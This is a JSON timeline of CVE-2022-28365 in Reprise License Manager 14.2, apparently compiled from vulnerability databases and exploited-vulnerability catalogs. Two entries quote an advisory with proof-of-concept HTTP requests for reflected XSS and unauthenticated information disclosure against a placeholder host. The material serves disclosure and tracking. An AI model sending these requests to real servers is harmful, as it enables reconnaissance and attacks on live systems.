{"metadata": {"vulnerability": "cve-2022-28365", "count": 29, "kinds": {"milestone": 4, "sighting": 5, "kev": 11, "other": 9}}, "data": [{"timestamp": "2022-04-03T00:00:00Z", "date_only": false, "value": "2022-04-03T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2022-28365", "field": "cveMetadata.dateReserved"}, {"timestamp": "2022-04-09T00:00:00Z", "date_only": false, "value": "2022-04-09T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2022-28365", "field": "timestamps.asserted_at", "uuid": "0f0e4b96-78aa-4e48-b7f3-bf1d4ea9694f", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-04-09T00:00:00Z", "date_only": false, "value": "2022-04-09T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2022-28365", "field": "evidence.0.details.added_date", "uuid": "0f0e4b96-78aa-4e48-b7f3-bf1d4ea9694f", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-04-09T00:00:00Z", "date_only": false, "value": "2022-04-09T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2022-28365", "field": "timestamps.first_seen_at", "uuid": "0f0e4b96-78aa-4e48-b7f3-bf1d4ea9694f", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-04-09T00:00:00Z", "date_only": false, "value": "2022-04-09T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2022-28365", "field": "cveMetadata.datePublished"}, {"timestamp": "2022-04-09T00:00:00Z", "date_only": false, "value": "2022-04-09T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2022-28365", "field": "status.status_updated_at", "uuid": "0f0e4b96-78aa-4e48-b7f3-bf1d4ea9694f", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-04-09T17:15:00Z", "date_only": false, "value": "2022-04-09T17:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-4G2V-6X25-VR7P", "record": "GHSA-4G2V-6X25-VR7P", "field": "database_specific.nvd_published_at"}, {"timestamp": "2022-04-09T17:15:00Z", "date_only": false, "value": "2022-04-09T17:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2022-28365", "record": "GSD-2022-28365", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2022-04-09T17:15:08.013Z", "date_only": false, "value": "2022-04-09T17:15:08.013", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-28365", "record": "FKIE_CVE-2022-28365", "field": "published"}, {"timestamp": "2022-04-09T20:14:24Z", "date_only": false, "value": "2022-04-09T20:14:24.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cibsecurity/40431", "record": "CVE-2022-28365", "field": "creation_timestamp", "uuid": "4edf85bd-4df7-4f91-8041-ab1e1ae15aa9", "content": "\u203c CVE-2022-28365 \u203c\n\nReprise License Manager 14.2 is affected by an Information Disclosure vulnerability via a GET request to /goforms/rlminfo. No authentication is required. The information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture, and file/directory details.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "url": "https://t.me/cibsecurity/40431"}, {"timestamp": "2022-04-10T00:00:57Z", "date_only": false, "value": "2022-04-10T00:00:57Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-4G2V-6X25-VR7P", "record": "GHSA-4G2V-6X25-VR7P", "field": "published"}, {"timestamp": "2022-04-16T00:01:22Z", "date_only": false, "value": "2022-04-16T00:01:22Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-4G2V-6X25-VR7P", "record": "GHSA-4G2V-6X25-VR7P", "field": "modified"}, {"timestamp": "2023-04-20T00:00:00Z", "date_only": false, "value": "2023-04-20T00:00:00.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "cve-2022-28365", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2023-04-20T16:15:00Z", "date_only": false, "value": "2023-04-20T16:15Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2022-28365", "record": "GSD-2022-28365", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2023-12-13T01:19:34.292Z", "date_only": false, "value": "2023-12-13T01:19:34.292947Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2022-28365", "record": "GSD-2022-28365", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-08-03T05:56:14.870Z", "date_only": false, "value": "2024-08-03T05:56:14.870Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2022-28365", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-03T05:56:14.870Z", "date_only": false, "value": "2024-08-03T05:56:14.870Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2022-28365", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2025-06-05T02:33:43Z", "date_only": false, "value": "2025-06-05T02:33:43+00:00", "kind": "kev", "label": "Asserted", "source": "shadowserver", "record": "CVE-2022-28365", "field": "timestamps.asserted_at", "uuid": "fb1a8a7e-3527-4cf0-ae19-0dbb80583bdf", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-06-05T02:33:43Z", "date_only": false, "value": "2025-06-05T02:33:43+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2022-28365", "field": "timestamps.first_seen_at", "uuid": "fb1a8a7e-3527-4cf0-ae19-0dbb80583bdf", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-17T04:38:26.173Z", "date_only": false, "value": "2026-06-17T04:38:26.173", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-28365", "record": "FKIE_CVE-2022-28365", "field": "lastModified"}, {"timestamp": "2026-06-23T14:02:37Z", "date_only": false, "value": "2026-06-23T14:02:37+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2022-28365", "field": "timestamps.recorded_at", "uuid": "0f0e4b96-78aa-4e48-b7f3-bf1d4ea9694f", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T14:06:16.668Z", "date_only": false, "value": "2026-06-23T14:06:16.668825Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0f0e4b96-78aa-4e48-b7f3-bf1d4ea9694f", "record": "CVE-2022-28365", "field": "creation_timestamp", "uuid": "f75ccb62-f9d9-432c-a3a6-d222462566d5", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0f0e4b96-78aa-4e48-b7f3-bf1d4ea9694f"}, {"timestamp": "2026-06-30T09:23:55.406Z", "date_only": false, "value": "2026-06-30T09:23:55.406127Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/fb1a8a7e-3527-4cf0-ae19-0dbb80583bdf", "record": "CVE-2022-28365", "field": "creation_timestamp", "uuid": "4aeaa55a-0416-4189-8ee2-b924c9028f1c", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/fb1a8a7e-3527-4cf0-ae19-0dbb80583bdf"}, {"timestamp": "2026-07-15T00:00:00Z", "date_only": false, "value": "2026-07-15T00:00:00+00:00", "kind": "kev", "label": "Last seen", "source": "shadowserver", "record": "CVE-2022-28365", "field": "timestamps.last_seen_at", "uuid": "fb1a8a7e-3527-4cf0-ae19-0dbb80583bdf", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-15T00:00:00Z", "date_only": true, "value": "2026-07-15", "kind": "kev", "label": "Observation date", "source": "shadowserver", "record": "CVE-2022-28365", "field": "evidence.0.details.observation_date", "uuid": "fb1a8a7e-3527-4cf0-ae19-0dbb80583bdf", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-15T00:00:00Z", "date_only": false, "value": "2026-07-15T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "shadowserver", "record": "CVE-2022-28365", "field": "status.status_updated_at", "uuid": "fb1a8a7e-3527-4cf0-ae19-0dbb80583bdf", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-17T01:00:01Z", "date_only": false, "value": "2026-07-17T01:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "shadowserver", "record": "CVE-2022-28365", "field": "timestamps.recorded_at", "uuid": "fb1a8a7e-3527-4cf0-ae19-0dbb80583bdf", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-01T20:01:47.180Z", "date_only": false, "value": "2026-09-01T20:01:47.180655Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/49269", "record": "CVE-2022-28365", "field": "creation_timestamp", "uuid": "52feda22-a4ac-4f30-9d41-1e198167dc7e", "content": "Exploit Collector\nReprise License Manager 14.2 Cross Site Scripting / Information Disclosure\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png Reprise License Manager version 14.2 suffers from cross site scripting and information disclosure vulnerabilities.\n\nMD5 | cc55ae7d1b402036a9e2e82e2e0c4ea4Download Multiple Vulnerabilities in Reprise License Manager 14.2\n\nCredit: Giulia Melotti Garibaldi\n\n//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28363\n# Vulnerability Title: Reflected Cross-Site Scripting\n# Severity: Medium\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/login_process \"username\" parameter via GET. No authentication is required.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goform/login_process?username=admin&password=admin&ok=LOGIN HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 38\nOrigin: http://HOST:5054\nConnection: keep-alive\nReferer: http://HOST:5054/goform/login_process\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28364\n# Vulnerability Title: Authenticated Reflected Cross-Site Scripting\n# Severity: Low\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/rlmswitchr_process \"file\" parameter via GET. Authentication is required.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goform/rlmswitchr_process?file= HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/x-www-form-urlencoded\nOrigin: http://HOST:5054\nConnection: keep-alive\nReferer: http://HOST:5054/goforms/rlmswitchr\nCookie: REDACTED\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28365\n# Vulnerability Title: Unauthenticated Information Disclosure\n# Severity: Low\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by an Information Disclosure vulnerability via a GET request to /goforms/rlminfo. No authentication is required.\nThe information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture and file/directory information.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goforms/rlminfo HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nConnection: keep-alive\nContent-Length: 0\n////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Source:packetstormsecurity.com", "url": "https://t.me/hacking_Attack/49269"}, {"timestamp": "2026-09-06T02:00:03.814Z", "date_only": false, "value": "2026-09-06T02:00:03.814318Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/49269", "record": "CVE-2022-28365", "field": "creation_timestamp", "uuid": "52802a2a-b004-49a0-8610-a7ec230d6f77", "content": "Exploit Collector\nReprise License Manager 14.2 Cross Site Scripting / Information Disclosure\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png Reprise License Manager version 14.2 suffers from cross site scripting and information disclosure vulnerabilities.\n\nMD5 | cc55ae7d1b402036a9e2e82e2e0c4ea4Download Multiple Vulnerabilities in Reprise License Manager 14.2\n\nCredit: Giulia Melotti Garibaldi\n\n//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28363\n# Vulnerability Title: Reflected Cross-Site Scripting\n# Severity: Medium\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/login_process \"username\" parameter via GET. No authentication is required.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goform/login_process?username=admin&password=admin&ok=LOGIN HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 38\nOrigin: http://HOST:5054\nConnection: keep-alive\nReferer: http://HOST:5054/goform/login_process\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28364\n# Vulnerability Title: Authenticated Reflected Cross-Site Scripting\n# Severity: Low\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/rlmswitchr_process \"file\" parameter via GET. Authentication is required.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goform/rlmswitchr_process?file= HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/x-www-form-urlencoded\nOrigin: http://HOST:5054\nConnection: keep-alive\nReferer: http://HOST:5054/goforms/rlmswitchr\nCookie: REDACTED\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28365\n# Vulnerability Title: Unauthenticated Information Disclosure\n# Severity: Low\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by an Information Disclosure vulnerability via a GET request to /goforms/rlminfo. No authentication is required.\nThe information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture and file/directory information.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goforms/rlminfo HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nConnection: keep-alive\nContent-Length: 0\n////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Source:packetstormsecurity.com", "url": "https://t.me/hacking_Attack/49269"}]}